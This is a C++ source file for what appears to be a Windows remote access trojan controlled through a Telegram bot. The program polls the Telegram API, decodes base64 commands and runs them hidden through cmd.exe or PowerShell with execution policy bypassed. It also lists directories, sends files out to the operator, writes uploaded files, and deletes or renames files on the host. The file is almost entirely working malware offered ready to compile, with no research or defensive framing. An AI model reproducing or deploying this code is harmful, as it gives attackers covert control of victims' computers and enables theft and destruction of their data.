// x86_64-w64-mingw32-g++ -static -o CHAR.exe CHAR.cpp -lwinhttp -std=c++17 -lstdc++fs -lws2_32 #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #pragma comment(lib, "winhttp.lib") #include #include #include #include #include #include #include #include namespace nlohmann { class json { private: enum class value_t { null, object, array, string, boolean, number_integer, number_unsigned, number_float, binary }; struct storage { value_t type = value_t::null; std::string string_value; std::map object_value; std::vector array_value; bool boolean_value = false; int64_t number_integer_value = 0; uint64_t number_unsigned_value = 0; double number_float_value = 0.0; }; std::shared_ptr data; public: json() : data(std::make_shared()) {} json(std::nullptr_t) : data(std::make_shared()) { data->type = value_t::null; } json(const std::string& s) : data(std::make_shared()) { data->type = value_t::string; data->string_value = s; } json(const char* s) : data(std::make_shared()) { data->type = value_t::string; data->string_value = s; } json(bool b) : data(std::make_shared()) { data->type = value_t::boolean; data->boolean_value = b; } json(int64_t i) : data(std::make_shared()) { data->type = value_t::number_integer; data->number_integer_value = i; } json(uint64_t u) : data(std::make_shared()) { data->type = value_t::number_unsigned; data->number_unsigned_value = u; } json(double d) : data(std::make_shared()) { data->type = value_t::number_float; data->number_float_value = d; } json(const std::map& obj) : data(std::make_shared()) { data->type = value_t::object; data->object_value = obj; } json(const std::vector& arr) : data(std::make_shared()) { data->type = value_t::array; data->array_value = arr; } json(std::initializer_list init) : data(std::make_shared()) { data->type = value_t::array; data->array_value = init; } json(const json& other) : data(other.data) {} static json object(std::initializer_list> init) { json j; j.data->type = value_t::object; for (const auto& p : init) { j.data->object_value[p.first] = p.second; } return j; } static json array(std::initializer_list init) { json j; j.data->type = value_t::array; j.data->array_value = init; return j; } bool is_null() const { return data->type == value_t::null; } bool is_object() const { return data->type == value_t::object; } bool is_array() const { return data->type == value_t::array; } bool is_string() const { return data->type == value_t::string; } bool is_boolean() const { return data->type == value_t::boolean; } bool is_number() const { return data->type == value_t::number_integer || data->type == value_t::number_unsigned || data->type == value_t::number_float; } bool is_number_integer() const { return data->type == value_t::number_integer || data->type == value_t::number_unsigned; } bool is_number_float() const { return data->type == value_t::number_float; } std::string get_string() const { return data->string_value; } bool get_boolean() const { return data->boolean_value; } int64_t get_int64() const { return data->number_integer_value; } uint64_t get_uint64() const { return data->number_unsigned_value; } double get_double() const { return data->number_float_value; } json& operator[](const std::string& key) { if (data->type != value_t::object) { data->type = value_t::object; data->object_value.clear(); } return data->object_value[key]; } const json& operator[](const std::string& key) const { static json null_json; if (data->type != value_t::object) { return null_json; } auto it = data->object_value.find(key); if (it == data->object_value.end()) { return null_json; } return it->second; } json& operator[](size_t index) { if (data->type != value_t::array) { data->type = value_t::array; data->array_value.clear(); } if (index >= data->array_value.size()) { data->array_value.resize(index + 1); } return data->array_value[index]; } const json& operator[](size_t index) const { static json null_json; if (data->type != value_t::array || index >= data->array_value.size()) { return null_json; } return data->array_value[index]; } bool contains(const std::string& key) const { if (data->type != value_t::object) { return false; } return data->object_value.find(key) != data->object_value.end(); } size_t size() const { if (data->type == value_t::array) { return data->array_value.size(); } else if (data->type == value_t::object) { return data->object_value.size(); } return 0; } void push_back(const json& value) { if (data->type != value_t::array) { data->type = value_t::array; data->array_value.clear(); } data->array_value.push_back(value); } std::vector::iterator begin() { return data->array_value.begin(); } std::vector::iterator end() { return data->array_value.end(); } std::vector::const_iterator begin() const { return data->array_value.begin(); } std::vector::const_iterator end() const { return data->array_value.end(); } std::vector::const_iterator cbegin() const { return data->array_value.cbegin(); } std::vector::const_iterator cend() const { return data->array_value.cend(); } std::map::iterator begin_object() { return data->object_value.begin(); } std::map::iterator end_object() { return data->object_value.end(); } std::map::const_iterator begin_object() const { return data->object_value.begin(); } std::map::const_iterator end_object() const { return data->object_value.end(); } std::string dump(int indent = -1) const { return serialize(*this, indent); } static json parse(const std::string& str) { json result; size_t pos = 0; result = parse_value(str, pos); return result; } private: static json parse_value(const std::string& str, size_t& pos) { skip_whitespace(str, pos); if (pos >= str.length()) { return json(nullptr); } char c = str[pos]; if (c == 'n') { if (str.substr(pos, 4) == "null") { pos += 4; return json(nullptr); } } else if (c == 't') { if (str.substr(pos, 4) == "true") { pos += 4; return json(true); } } else if (c == 'f') { if (str.substr(pos, 5) == "false") { pos += 5; return json(false); } } else if (c == '"') { return json(parse_string(str, pos)); } else if (c == '{') { pos++; json obj; obj.data->type = value_t::object; skip_whitespace(str, pos); if (pos < str.length() && str[pos] == '}') { pos++; return obj; } while (pos < str.length()) { skip_whitespace(str, pos); if (str[pos] != '"') break; std::string key = parse_string(str, pos); skip_whitespace(str, pos); if (pos >= str.length() || str[pos] != ':') break; pos++; json value = parse_value(str, pos); obj.data->object_value[key] = value; skip_whitespace(str, pos); if (pos < str.length() && str[pos] == ',') { pos++; continue; } else if (pos < str.length() && str[pos] == '}') { pos++; break; } else { break; } } return obj; } else if (c == '[') { pos++; json arr; arr.data->type = value_t::array; skip_whitespace(str, pos); if (pos < str.length() && str[pos] == ']') { pos++; return arr; } while (pos < str.length()) { json value = parse_value(str, pos); arr.data->array_value.push_back(value); skip_whitespace(str, pos); if (pos < str.length() && str[pos] == ',') { pos++; continue; } else if (pos < str.length() && str[pos] == ']') { pos++; break; } else { break; } } return arr; } else if (c == '-' || (c >= '0' && c <= '9')) { return parse_number(str, pos); } return json(nullptr); } static void skip_whitespace(const std::string& str, size_t& pos) { while (pos < str.length() && (str[pos] == ' ' || str[pos] == '\n' || str[pos] == '\r' || str[pos] == '\t')) { pos++; } } static std::string parse_string(const std::string& str, size_t& pos) { pos++; std::string result; while (pos < str.length()) { char c = str[pos]; if (c == '"') { pos++; break; } else if (c == '\\') { pos++; if (pos >= str.length()) break; char esc = str[pos]; switch (esc) { case '"': result += '"'; break; case '\\': result += '\\'; break; case '/': result += '/'; break; case 'b': result += '\b'; break; case 'f': result += '\f'; break; case 'n': result += '\n'; break; case 'r': result += '\r'; break; case 't': result += '\t'; break; default: result += esc; break; } pos++; } else { result += c; pos++; } } return result; } static json parse_number(const std::string& str, size_t& pos) { size_t start = pos; bool is_float = false; if (str[pos] == '-') pos++; while (pos < str.length() && str[pos] >= '0' && str[pos] <= '9') pos++; if (pos < str.length() && str[pos] == '.') { is_float = true; pos++; while (pos < str.length() && str[pos] >= '0' && str[pos] <= '9') pos++; } if (pos < str.length() && (str[pos] == 'e' || str[pos] == 'E')) { is_float = true; pos++; if (pos < str.length() && (str[pos] == '+' || str[pos] == '-')) pos++; while (pos < str.length() && str[pos] >= '0' && str[pos] <= '9') pos++; } std::string num_str = str.substr(start, pos - start); if (is_float) { return json(std::stod(num_str)); } else { try { uint64_t u = std::stoull(num_str); if (u <= INT64_MAX) { return json(static_cast(u)); } return json(u); } catch (...) { return json(static_cast(std::stoll(num_str))); } } } static std::string serialize(const json& j, int indent = -1, int current_indent = 0) { if (j.is_null()) { return "null"; } else if (j.is_boolean()) { return j.get_boolean() ? "true" : "false"; } else if (j.is_string()) { return "\"" + escape_string(j.get_string()) + "\""; } else if (j.is_number_integer()) { if (j.data->type == value_t::number_integer) { return std::to_string(j.get_int64()); } else { return std::to_string(j.get_uint64()); } } else if (j.is_number_float()) { return std::to_string(j.get_double()); } else if (j.is_array()) { std::string result = "["; for (size_t i = 0; i < j.data->array_value.size(); i++) { if (i > 0) result += ","; if (indent >= 0) { result += "\n" + std::string(current_indent + indent, ' '); } result += serialize(j.data->array_value[i], indent, current_indent + indent); } if (indent >= 0 && !j.data->array_value.empty()) { result += "\n" + std::string(current_indent, ' '); } result += "]"; return result; } else if (j.is_object()) { std::string result = "{"; bool first = true; for (const auto& pair : j.data->object_value) { if (!first) result += ","; first = false; if (indent >= 0) { result += "\n" + std::string(current_indent + indent, ' '); } result += "\"" + escape_string(pair.first) + "\":"; if (indent >= 0) { result += " "; } result += serialize(pair.second, indent, current_indent + indent); } if (indent >= 0 && !j.data->object_value.empty()) { result += "\n" + std::string(current_indent, ' '); } result += "}"; return result; } return "null"; } static std::string escape_string(const std::string& s) { std::string result; for (char c : s) { switch (c) { case '"': result += "\\\""; break; case '\\': result += "\\\\"; break; case '\b': result += "\\b"; break; case '\f': result += "\\f"; break; case '\n': result += "\\n"; break; case '\r': result += "\\r"; break; case '\t': result += "\\t"; break; default: result += c; break; } } return result; } }; inline json parse(const std::string& s) { return json::parse(s); } } using json = nlohmann::json; #define BOT_TOKEN "Put Your BOT TOKEN" #define MAX_MESSAGE_LENGTH 4000 struct UserMessageBuffer { std::string parts; time_t timestamp; }; std::map user_message_buffer; std::string base64_encode(const std::vector& data) { static const char* base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; std::string result; int i = 0; int j = 0; unsigned char char_array_3[3]; unsigned char char_array_4[4]; for (unsigned char c : data) { char_array_3[i++] = c; if (i == 3) { char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for (i = 0; i < 4; i++) { result += base64_chars[char_array_4[i]]; } i = 0; } } if (i) { for (j = i; j < 3; j++) { char_array_3[j] = '\0'; } char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for (j = 0; j < i + 1; j++) { result += base64_chars[char_array_4[j]]; } while (i++ < 3) { result += '='; } } return result; } std::string base64_decode(const std::string& encoded) { static const std::string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; std::string clean_encoded; for (char c : encoded) { if (c == '\n' || c == '\r' || c == ' ') continue; clean_encoded += c; } std::string result; std::vector T(256, -1); for (int i = 0; i < 64; i++) { T[static_cast(base64_chars[i])] = i; } int val = 0, valb = -8; for (unsigned char c : clean_encoded) { if (T[c] == -1) break; val = (val << 6) + T[c]; valb += 6; if (valb >= 0) { result.push_back(static_cast((val >> valb) & 0xFF)); valb -= 8; } } return result; } std::string decode_base64_command(const std::string& raw_message) { try { std::cout << "[DEBUG] Raw message length: " << raw_message.length() << " characters" << std::endl; if (raw_message.find("[B64]") == 0) { std::string b64_part = raw_message.substr(5); std::cout << "[DEBUG] Base64 part length: " << b64_part.length() << " characters" << std::endl; std::string decoded = base64_decode(b64_part); std::cout << "[DEBUG] Decoded command length: " << decoded.length() << " characters" << std::endl; if (decoded.length() >= 2) { std::cout << "[DEBUG] Decoded starts with: " << decoded.substr(0, std::min((size_t)20, decoded.length())) << "..." << std::endl; } return decoded; } return raw_message; } catch (const std::exception& e) { std::cout << "[DEBUG] Error in decode_base64_command: " << e.what() << std::endl; return raw_message; } } std::string run_command(const std::string& command) { bool use_powershell = (command.length() >= 2 && command.substr(0, 2) == "EP"); std::string cmd_to_execute = use_powershell ? command.substr(2) : command; if (use_powershell) { cmd_to_execute.erase(0, cmd_to_execute.find_first_not_of(" \t\r\n")); cmd_to_execute.erase(cmd_to_execute.find_last_not_of(" \t\r\n") + 1); } if (use_powershell && cmd_to_execute.empty()) { return "Empty or invalid PowerShell command"; } if (use_powershell) { std::string escaped_cmd; for (char c : cmd_to_execute) { if (c == '"') escaped_cmd += "\\\""; else escaped_cmd += c; } cmd_to_execute = escaped_cmd; } std::string full_command = use_powershell ? "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command \"" + cmd_to_execute + "\"" : "cmd.exe /c " + cmd_to_execute; std::cout << "[DEBUG] Full command length: " << full_command.length() << " characters" << std::endl; SECURITY_ATTRIBUTES sa{}; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; HANDLE hStdoutRd = nullptr; HANDLE hStdoutWr = nullptr; if (!CreatePipe(&hStdoutRd, &hStdoutWr, &sa, 0)) { return "Failed to create pipe"; } SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0); PROCESS_INFORMATION pi{}; STARTUPINFOA si{}; si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdOutput = hStdoutWr; si.hStdError = hStdoutWr; std::vector cmd_line(full_command.begin(), full_command.end()); cmd_line.push_back('\0'); BOOL success = CreateProcessA(nullptr, cmd_line.data(), nullptr, nullptr, TRUE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi); CloseHandle(hStdoutWr); if (!success) { CloseHandle(hStdoutRd); DWORD error = GetLastError(); return "Failed to create process: " + std::to_string(error); } std::string result; DWORD bytesRead; char buffer[4096]; while (ReadFile(hStdoutRd, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) { buffer[bytesRead] = '\0'; result += buffer; } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(hStdoutRd); return result; } json browse_directory(const std::string& path) { json result; try { std::string actual_path = path; if (actual_path.find('~') == 0) { char* home = getenv("USERPROFILE"); if (home) { actual_path = std::string(home) + actual_path.substr(1); } } if (!std::filesystem::exists(actual_path)) { result["success"] = false; result["error"] = "Path does not exist: " + actual_path; result["current_path"] = actual_path; result["parent_path"] = nullptr; result["items"] = json::array({}); return result; } json items = json::array({}); for (const auto& entry : std::filesystem::directory_iterator(actual_path)) { try { json item; item["name"] = entry.path().filename().string(); item["type"] = entry.is_directory() ? "directory" : "file"; item["size"] = entry.is_directory() ? 0 : entry.file_size(); auto ftime = entry.last_write_time(); auto time_t = std::chrono::system_clock::to_time_t( std::chrono::time_point_cast( ftime - std::filesystem::file_time_type::clock::now() + std::chrono::system_clock::now() ) ); std::stringstream ss; ss << std::put_time(std::localtime(&time_t), "%Y-%m-%d %H:%M:%S"); item["modified_time"] = ss.str(); items.push_back(item); } catch (const std::exception&) { continue; } } result["success"] = true; result["current_path"] = actual_path; std::filesystem::path parent = std::filesystem::path(actual_path).parent_path(); if (actual_path.size() >= 2 && actual_path[1] == ':' && actual_path.size() == 3 && actual_path[2] == '\\') { result["parent_path"] = nullptr; } else if (parent.empty()) { result["parent_path"] = nullptr; } else { result["parent_path"] = parent.string(); } result["items"] = items; } catch (const std::exception& e) { result["success"] = false; result["error"] = e.what(); result["current_path"] = path; result["parent_path"] = nullptr; result["items"] = json::array({}); } return result; } std::string download_file(const std::string& filepath) { try { if (!std::filesystem::exists(filepath)) { return "ERROR: File not found: " + filepath; } std::ifstream file(filepath, std::ios::binary); if (!file) { return "ERROR: Cannot open file: " + filepath; } std::vector file_data((std::istreambuf_iterator(file)), std::istreambuf_iterator()); file.close(); std::string filename = std::filesystem::path(filepath).filename().string(); size_t filesize = file_data.size(); std::string encoded = base64_encode(file_data); return "file-data:" + filename + "|" + std::to_string(filesize) + "|" + encoded; } catch (const std::exception& e) { return "ERROR: " + std::string(e.what()); } } std::string upload_file(const std::string& filepath, const std::string& filedata_b64) { try { std::string decoded_data = base64_decode(filedata_b64); std::vector file_data(decoded_data.begin(), decoded_data.end()); std::filesystem::path path_obj(filepath); std::filesystem::create_directories(path_obj.parent_path()); std::ofstream file(filepath, std::ios::binary); if (!file) { return "ERROR: Cannot write file: " + filepath; } file.write(reinterpret_cast(file_data.data()), file_data.size()); file.close(); return "SUCCESS: File uploaded to " + filepath; } catch (const std::exception& e) { return "ERROR: " + std::string(e.what()); } } std::string delete_file(const std::string& filepath) { try { if (std::filesystem::is_directory(filepath)) { std::filesystem::remove(filepath); } else { std::filesystem::remove(filepath); } return "SUCCESS: Deleted " + filepath; } catch (const std::exception& e) { return "ERROR: " + std::string(e.what()); } } std::string rename_file(const std::string& old_path, const std::string& new_path) { try { std::filesystem::rename(old_path, new_path); return "SUCCESS: Renamed to " + new_path; } catch (const std::exception& e) { return "ERROR: " + std::string(e.what()); } } std::string execute_command(const std::string& cmd) { std::string command = cmd; while (!command.empty() && command.back() == ' ') command.pop_back(); std::cout << "[DEBUG] execute_command received length: " << command.length() << " characters" << std::endl; if (command.empty()) { return "[no command received]"; } if (command.find("browse:") == 0) { std::cout << "[DEBUG] Executing browse command" << std::endl; std::string browse_path = command.substr(7); while (!browse_path.empty() && browse_path.front() == ' ') browse_path.erase(0, 1); if (browse_path.empty()) { browse_path = std::filesystem::current_path().string(); } json dir_data = browse_directory(browse_path); std::string json_str = dir_data.dump(); std::vector json_bytes(json_str.begin(), json_str.end()); std::string base64_data = base64_encode(json_bytes); return "browse-data-" + base64_data; } if (command.find("download-file:") == 0) { std::cout << "[DEBUG] Executing download-file command" << std::endl; std::string filepath = command.substr(14); while (!filepath.empty() && filepath.front() == ' ') filepath.erase(0, 1); return download_file(filepath); } if (command.find("upload-file:") == 0) { std::cout << "[DEBUG] Executing upload-file command" << std::endl; std::string rest = command.substr(12); size_t sep_pos = rest.find('|'); if (sep_pos != std::string::npos) { std::string filepath = rest.substr(0, sep_pos); std::string filedata_b64 = rest.substr(sep_pos + 1); return upload_file(filepath, filedata_b64); } else { return "ERROR: Invalid upload format"; } } if (command.find("delete-file:") == 0) { std::cout << "[DEBUG] Executing delete-file command" << std::endl; std::string filepath = command.substr(12); while (!filepath.empty() && filepath.front() == ' ') filepath.erase(0, 1); return delete_file(filepath); } if (command.find("rename-file:") == 0) { std::cout << "[DEBUG] Executing rename-file command" << std::endl; std::string rest = command.substr(12); size_t sep_pos = rest.find('|'); if (sep_pos != std::string::npos) { std::string old_path = rest.substr(0, sep_pos); std::string new_path = rest.substr(sep_pos + 1); return rename_file(old_path, new_path); } else { return "ERROR: Invalid rename format"; } } return run_command(command); } std::vector split_output(const std::string& output) { std::vector parts; if (output.length() <= MAX_MESSAGE_LENGTH) { parts.push_back(output); return parts; } size_t start = 0; while (start < output.length()) { size_t end = start + MAX_MESSAGE_LENGTH; if (end < output.length()) { size_t newline_pos = output.rfind('\n', end); if (newline_pos > start && newline_pos != std::string::npos) { end = newline_pos + 1; } } parts.push_back(output.substr(start, end - start)); start = end; } return parts; } bool send_telegram_message(const std::string& chat_id, const std::string& text) { HINTERNET hSession = WinHttpOpen(L"TelegramBot/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (!hSession) return false; HINTERNET hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0); if (!hConnect) { WinHttpCloseHandle(hSession); return false; } std::string encoded_text; for (char c : text) { if (c == ' ' || c == '&' || c == '=' || c == '?' || c == '%' || c == '+' || c == '\n' || c == '\r' || c == '`' || c == '*' || c == '_') { char hex[4]; sprintf_s(hex, "%%%02X", (unsigned char)c); encoded_text += hex; } else { encoded_text += c; } } std::string request = "/bot" + std::string(BOT_TOKEN) + "/sendMessage?chat_id=" + chat_id + "&text=" + encoded_text + "&parse_mode=Markdown"; std::wstring wrequest(request.begin(), request.end()); HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", wrequest.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); if (!hRequest) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return false; } BOOL bResult = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); if (bResult) { bResult = WinHttpReceiveResponse(hRequest, NULL); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return bResult == TRUE; } json get_updates(int offset = 0) { HINTERNET hSession = WinHttpOpen(L"TelegramBot/1.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (!hSession) return json(); HINTERNET hConnect = WinHttpConnect(hSession, L"api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, 0); if (!hConnect) { WinHttpCloseHandle(hSession); return json(); } std::string request = "/bot" + std::string(BOT_TOKEN) + "/getUpdates?offset=" + std::to_string(offset) + "&timeout=30"; std::wstring wrequest(request.begin(), request.end()); HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", wrequest.c_str(), NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE); if (!hRequest) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return json(); } BOOL bResult = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); if (bResult) { bResult = WinHttpReceiveResponse(hRequest, NULL); } std::string response; if (bResult) { DWORD dwSize = 0; DWORD dwDownloaded = 0; do { dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { break; } if (dwSize == 0) break; char* buffer = new char[dwSize + 1]; ZeroMemory(buffer, dwSize + 1); if (WinHttpReadData(hRequest, (LPVOID)buffer, dwSize, &dwDownloaded)) { response += buffer; } delete[] buffer; } while (dwSize > 0); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); try { return json::parse(response); } catch (const std::exception&) { return json(); } } void process_message(const json& message) { try { long long chat_id = message["chat"]["id"].get_int64(); std::string text = message["text"].get_string(); while (!text.empty() && text.back() == ' ') text.pop_back(); if (text == "exit" || text == "quit") { send_telegram_message(std::to_string(chat_id), "Shutting down..."); std::cout << "Shutting down by user command..." << std::endl; exit(0); } if (text.length() >= 4 && text.substr(text.length() - 4) == "-end") { std::string clean_part = text.substr(0, text.length() - 4); std::string full_command; if (user_message_buffer.find(chat_id) != user_message_buffer.end()) { full_command = user_message_buffer[chat_id].parts + clean_part; user_message_buffer.erase(chat_id); } else { full_command = clean_part; } while (!full_command.empty() && full_command.front() == ' ') full_command.erase(0, 1); while (!full_command.empty() && full_command.back() == ' ') full_command.pop_back(); std::cout << "[DEBUG] Full command before decode length: " << full_command.length() << " characters" << std::endl; std::string decoded_cmd = decode_base64_command(full_command); if (!decoded_cmd.empty()) { full_command = decoded_cmd; } std::cout << "[DEBUG] Full command after decode length: " << full_command.length() << " characters" << std::endl; std::string result = execute_command(full_command); std::vector parts = split_output(result); for (size_t i = 0; i < parts.size(); i++) { std::string part = parts[i]; if (i == parts.size() - 1) { part += "-end"; } send_telegram_message(std::to_string(chat_id), "```\n" + part + "\n```"); std::this_thread::sleep_for(std::chrono::milliseconds(100)); } return; } if (user_message_buffer.find(chat_id) == user_message_buffer.end()) { user_message_buffer[chat_id] = {"", time(nullptr)}; } user_message_buffer[chat_id].parts += text; user_message_buffer[chat_id].timestamp = time(nullptr); } catch (const std::exception& e) { std::cerr << "Error processing message: " << e.what() << std::endl; } } int main() { std::cout << "Bot running..." << std::endl; int last_update_id = 0; while (true) { json updates = get_updates(last_update_id + 1); if (updates.contains("ok") && updates["ok"].get_boolean() && updates.contains("result")) { for (const auto& update : updates["result"]) { if (update.contains("update_id")) { last_update_id = update["update_id"].get_int64(); } if (update.contains("message") && update["message"].contains("text")) { process_message(update["message"]); } } } std::this_thread::sleep_for(std::chrono::seconds(1)); } return 0; }